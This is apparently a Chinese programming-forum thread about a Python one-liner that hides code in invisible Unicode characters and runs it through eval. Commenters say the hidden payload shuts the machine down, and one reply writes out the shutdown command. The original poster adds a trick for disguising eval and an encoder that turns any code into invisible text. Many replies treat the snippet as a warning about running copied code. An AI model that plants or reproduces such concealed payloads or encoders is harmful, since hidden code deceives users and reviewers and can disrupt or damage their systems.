print(eval(''.join(chr(int(x, 2)) for x in ' 󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁'.translate(str.maketrans('󠄂󠄁󠄀', ' 10')).split())))
1
ClericPy 103 天前
__import__('os').system("shutdown -s -t 60")
所以呢? |
2
baobao1270 103 天前 2
标题党。
玩 Unicode 隐藏字符很有意思? 稍有安全常识的人看见 eval 就知道不对劲了。 |
3
e4fjui OP @baobao1270 其实 eval 也可以隐藏: d = lambda v: (''.join(chr(ord(c) - 4) for c in v));e = getattr;e(__builtins__, d('izep'))("print(1)")
|
4
drymonfidelia 103 天前
所以说网上复制的代码不能乱执行,jb 家的 ide 都显示不了这些隐藏字符,我平时瞧不起的 vs code 反而可以
|
6
DanielWu6 102 天前 via Android
这种问题的意义何在?
|
8
marquina 102 天前 1
我让大模型解释这段代码,零一万物 yi-large 和 gpt4o 直接卡住了,不知道是不是真的被搞关机了……gemini1.5flash 有回应,但没识别出潜藏的关机坑点
|
11
drymonfidelia 102 天前 via iPhone
@dyllen 那个空字符串里实际上编码关机代码,只是你的浏览器没显示出来
|
12
lovelylain 102 天前 via Android
@LudwigWS 去掉 eval 执行就 print 了代码,用不着 gpt 吧
|
13
superrichman 102 天前
一个二进制字符串,一个凯撒密码,好玩
|
14
noahlias 102 天前
😐 unicode 闹嘛了
|
16
e4fjui OP @dyllen 自己无聊研究的,用下面这个函数可以把代码转空白字符:
def str_to_bin(s): return ('󠄂'.join(format(ord(x), 'b') for x in s)).translate(str.maketrans(' 10', '󠄂󠄁󠄀')) 然后替换上面的就可以把任意代码转换成空白字符了,比如下面这段 exec(''.join(chr(int(x, 2)) for x in '󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁'.translate(str.maketrans('󠄂󠄁󠄀', ' 10')).split())) 执行后会打印 99 乘法表 |
17
lasuar 102 天前
meaningless
|
20
conky 102 天前
GPT
这个代码片段通过将一组特殊字符转换为二进制数,再将这些二进制数转换为对应的字符,然后执行这些字符的结果。由于这种代码存在执行动态生成的字符串的风险,这种方式非常危险,可能会执行恶意代码。 为了安全起见,我会解释一下该代码的工作原理,但不会执行它。你可以自己评估代码是否安全并根据需要执行它。 代码解析过程如下: 使用 str.maketrans 方法和 translate 方法将特殊字符替换为 0 、1 和空格。 通过 split 方法将替换后的字符串拆分成一个包含二进制数的列表。 使用 chr 函数和 int 函数将每个二进制数转换为对应的 ASCII 字符。 将这些字符连接成一个字符串,然后使用 eval 执行该字符串。 为了让你能理解这个代码做了什么,我提供一个不执行 eval 的解析过程: |
21
zh826256645 102 天前
@cenbiq 他只是在配合你的表演 :)
|
23
LudwigWS 102 天前 via iPhone
@lovelylain 也是,但是 gpt 告诉了我原理。其实要是我看到了那个空白字符,原理也不难猜出来
|
24
obird 102 天前
字符 U+e0101 不可见。
|
25
ovovovovo 84 天前
好好好,离职之前就这么转换一下我的代码
|